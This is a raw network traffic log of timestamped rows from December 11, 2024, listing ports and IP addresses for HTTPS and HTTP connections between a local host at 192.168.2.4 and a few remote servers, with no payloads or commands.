Dec 11, 2024 02:08:37.266736984 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.266742945 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.266777992 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.266871929 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.266900063 CET	49763	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.266907930 CET	443	49763	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.372251034 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.372298956 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.372375011 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.372823954 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.372838020 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.403975964 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:37.447328091 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:37.546179056 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.546196938 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.546289921 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.546700001 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.546710014 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.740907907 CET	49722	80	192.168.2.4	199.232.214.172
Dec 11, 2024 02:08:37.858436108 CET	443	49765	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.860183954 CET	49765	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.860215902 CET	443	49765	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.860595942 CET	80	49722	199.232.214.172	192.168.2.4
Dec 11, 2024 02:08:37.860606909 CET	443	49765	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.860676050 CET	49722	80	192.168.2.4	199.232.214.172
Dec 11, 2024 02:08:37.861303091 CET	49765	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.861392975 CET	443	49765	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:37.861479998 CET	49765	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:37.903331995 CET	443	49765	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.302928925 CET	443	49765	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.302999020 CET	443	49765	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.303071976 CET	49765	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:38.304730892 CET	49765	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:38.304745913 CET	443	49765	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.582925081 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.583184958 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:38.583205938 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.583873034 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.584184885 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:38.584255934 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.584353924 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:38.631328106 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.755564928 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.755863905 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:38.755871058 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.756170034 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.756556988 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:38.756608963 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:38.756644011 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:38.756684065 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:38.756710052 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.053555965 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.053602934 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.053642988 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.053678989 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.053679943 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.053709030 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.053725004 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.061958075 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.062002897 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.062036991 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.062047958 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.062123060 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.070319891 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.070744991 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:39.070847034 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:39.070908070 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:39.074630976 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:39.074641943 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:39.078792095 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.078861952 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.078871965 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.131244898 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.172815084 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.219686985 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.219713926 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.221885920 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:39.221904039 CET	443	49772	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:39.221976995 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:39.222215891 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:39.222229004 CET	443	49772	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:39.247400045 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.247477055 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.247490883 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.255249023 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.255348921 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.255359888 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.261470079 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.261544943 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.261557102 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.276922941 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.276983976 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.276994944 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.284765959 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.284807920 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.284853935 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.284864902 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.284905910 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.284934998 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.284951925 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.284957886 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.285007000 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.285160065 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.285245895 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.285284042 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.285298109 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.285310030 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.285351992 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.292484045 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.293039083 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.293087006 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.293092966 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.300268888 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.300321102 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.300331116 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.301405907 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.301450968 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.301460028 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.308187962 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.308245897 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.308255911 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.315129042 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.315177917 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.315188885 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.322156906 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.322220087 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.322237015 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.329116106 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.329194069 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.329206944 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.345155954 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.345163107 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.376682997 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.376707077 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.392831087 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.416349888 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.436836004 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.438266039 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.438337088 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.438349009 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.447195053 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.447266102 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.447273016 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.456088066 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.456098080 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.456167936 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.456176996 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.464646101 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.464739084 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.464741945 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.464757919 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.464803934 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.472856998 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.472930908 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.472938061 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.472979069 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.476619005 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.478988886 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.479053020 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.479062080 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.481045961 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.481057882 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.481122971 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.485162973 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.485171080 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.485233068 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.486797094 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.486851931 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.486856937 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.493259907 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.493267059 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.493330956 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.494585037 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.494668007 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.494674921 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.501395941 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.501405001 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.501473904 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.505492926 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.505594015 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.509987116 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.510056973 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.510062933 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.513673067 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.513744116 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.517808914 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.517874956 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.517889977 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.517894983 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.517944098 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.521823883 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.521893978 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.525567055 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.525937080 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.525996923 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.533323050 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.533371925 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.533377886 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.533996105 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.534058094 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.541094065 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.541249037 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.541255951 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.548966885 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.549021006 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.549027920 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.591942072 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.591947079 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.628947020 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.629024982 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.633713961 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.633776903 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.633856058 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.633934021 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.633975029 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.634166956 CET	49767	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.634181023 CET	443	49767	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.639041901 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.669086933 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.672753096 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.672790051 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.672800064 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.672806978 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.672849894 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.678589106 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.685894966 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.685950041 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.685956001 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.693228960 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.693283081 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.693289042 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.713829041 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.713838100 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.713893890 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.713902950 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.720824003 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.720879078 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.720885038 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.720932961 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.727668047 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.734682083 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.734771013 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.734776974 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.734828949 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.748521090 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.748528004 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.748596907 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.762249947 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.762257099 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.762310982 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.776087046 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.776093006 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.776153088 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.783045053 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.783102989 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.796983004 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.797040939 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.861390114 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.861452103 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.869366884 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.869419098 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.874839067 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.874895096 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.885411978 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.885478020 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.895452976 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.895523071 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.904870033 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.904936075 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.909598112 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.909662962 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.918577909 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.918638945 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.927064896 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.927131891 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.931353092 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.931432009 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.937879086 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.937962055 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.942720890 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.942806959 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.945226908 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.945286036 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.950045109 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.950105906 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.954808950 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.954868078 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.959613085 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.959682941 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.962131023 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.962182999 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.962188005 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.962201118 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:39.962225914 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.962260962 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.962455988 CET	49768	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:39.962464094 CET	443	49768	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:40.096875906 CET	49774	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:40.096893072 CET	443	49774	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:40.097011089 CET	49774	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:40.097199917 CET	49774	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:40.097214937 CET	443	49774	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:40.408756971 CET	49775	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:40.408802986 CET	443	49775	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:40.408869028 CET	49775	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:40.409291983 CET	49775	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:40.409307003 CET	443	49775	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:40.436357021 CET	443	49772	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:40.436594963 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.436604977 CET	443	49772	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:40.437637091 CET	443	49772	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:40.437697887 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.438715935 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.438787937 CET	443	49772	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:40.438957930 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.438970089 CET	443	49772	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:40.492207050 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.891520977 CET	443	49772	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:40.891653061 CET	443	49772	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:40.891793013 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.891860962 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.891860962 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.891866922 CET	443	49772	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:40.891935110 CET	49772	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.892688990 CET	49776	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.892712116 CET	443	49776	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:40.892869949 CET	49776	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.893029928 CET	49776	443	192.168.2.4	35.190.80.1
Dec 11, 2024 02:08:40.893039942 CET	443	49776	35.190.80.1	192.168.2.4
Dec 11, 2024 02:08:41.310116053 CET	443	49774	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:41.310785055 CET	49774	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:41.310794115 CET	443	49774	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:41.311126947 CET	443	49774	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:41.311785936 CET	49774	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:41.311785936 CET	49774	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:41.311801910 CET	443	49774	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:41.311850071 CET	443	49774	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:41.356225967 CET	49774	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:41.618904114 CET	443	49775	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:41.619498014 CET	49775	443	192.168.2.4	104.18.94.41
